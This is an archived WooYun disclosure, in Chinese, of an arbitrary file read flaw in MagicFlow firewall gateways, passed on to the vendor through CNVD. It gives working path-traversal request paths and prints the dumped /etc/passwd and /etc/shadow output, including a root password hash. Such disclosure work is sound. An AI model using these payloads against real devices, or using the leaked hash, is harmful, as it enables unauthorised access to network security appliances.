当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0207455

漏洞标题:MagicFlow有线无线一体化防火墙网关系统任意文件读取漏洞

相关厂商:MagicFlow

漏洞作者: Aasron

提交时间:2016-05-11 16:10

修复时间:2016-06-27 18:50

公开时间:2016-06-27 18:50

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-11: 细节已通知厂商并且等待厂商处理中
2016-05-13: 厂商已经确认,细节仅向厂商公开
2016-05-23: 细节向核心白帽子及相关领域专家公开
2016-06-02: 细节向普通白帽子公开
2016-06-12: 细节向实习白帽子公开
2016-06-27: 细节向公众公开

简要描述:

MagicFlow有线无线一体化防火墙网关系统任意文件读取漏洞

详细说明:

MagicFlow有线无线一体化防火墙网关,是有线无线网络融合的一种灵活软件刀片构架集成硬件防火墙设备,安装了基本软件刀片,形成一种综合、即用的安全网关解决方案。集成安全刀片,管理刀片,网络基础刀片等多种功能一体化的系统,全面满足下一代企业级有线无线一体组网需求,可持续、简单、高效地提供下一代网络组网、安全、管理需要
大概简介
貌似全版本型号通杀

1.png


1.png


存在的路径几乎都能进行利用
这里只拿其中一个路径进行利用

漏洞证明:

1.png


root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postgres:x:500:500::/home/postgres:/bin/bash


1.png


2.png


root:$6$WlwYInfswISNikU7$N370hMHQ9lKgaVZHi/.2mDz7GCfLJSL8jt/Ll/.AsaBuO/TNY2J8K2PYY3PkeFOLNx3DuKmmoAiTYd9KLSoXe/:16707:0:99999:7:::
bin:*:15628:0:99999:7:::
daemon:*:15628:0:99999:7:::
adm:*:15628:0:99999:7:::
lp:*:15628:0:99999:7:::
sync:*:15628:0:99999:7:::
shutdown:*:15628:0:99999:7:::
halt:*:15628:0:99999:7:::
mail:*:15628:0:99999:7:::
uucp:*:15628:0:99999:7:::
operator:*:15628:0:99999:7:::
games:*:15628:0:99999:7:::
gopher:*:15628:0:99999:7:::
ftp:*:15628:0:99999:7:::
nobody:*:15628:0:99999:7:::
vcsa:!!:16707::::::
saslauth:!!:16707::::::
postfix:!!:16707::::::
sshd:!!:16707::::::
postgres:!!:16707:0:99999:7:::


/css/../../../../../../../../etc/passwd 
/ext/resources/images/default/../../../../../../../../etc/passwd


很多不一一列举
附案例地址:
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/

修复方案:

操作函数以及过滤

版权声明:转载请注明来源 Aasron@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2016-05-13 18:47

厂商回复:

CNVD确认所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件通报。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-05-11 16:11 | 0x 80 ( 普通白帽子 | Rank:1864 漏洞数:509 | If we give enough, if we learn to trust ...)

    没人顶啊,我来顶顶

  2. 2016-05-11 16:58 | Aasron ( 普通白帽子 | Rank:905 漏洞数:164 | raw_input("你知道我要输入什么?"))

    @0x 80 正点

  3. 2016-05-11 17:24 | Dotaer ( 路人 | Rank:28 漏洞数:8 | 多学习,多挖洞!)

    瞧一瞧,看一看啦!

  4. 2016-06-02 22:46 | Mark0smith ( 普通白帽子 | Rank:176 漏洞数:71 )

    没人顶啊,我来顶顶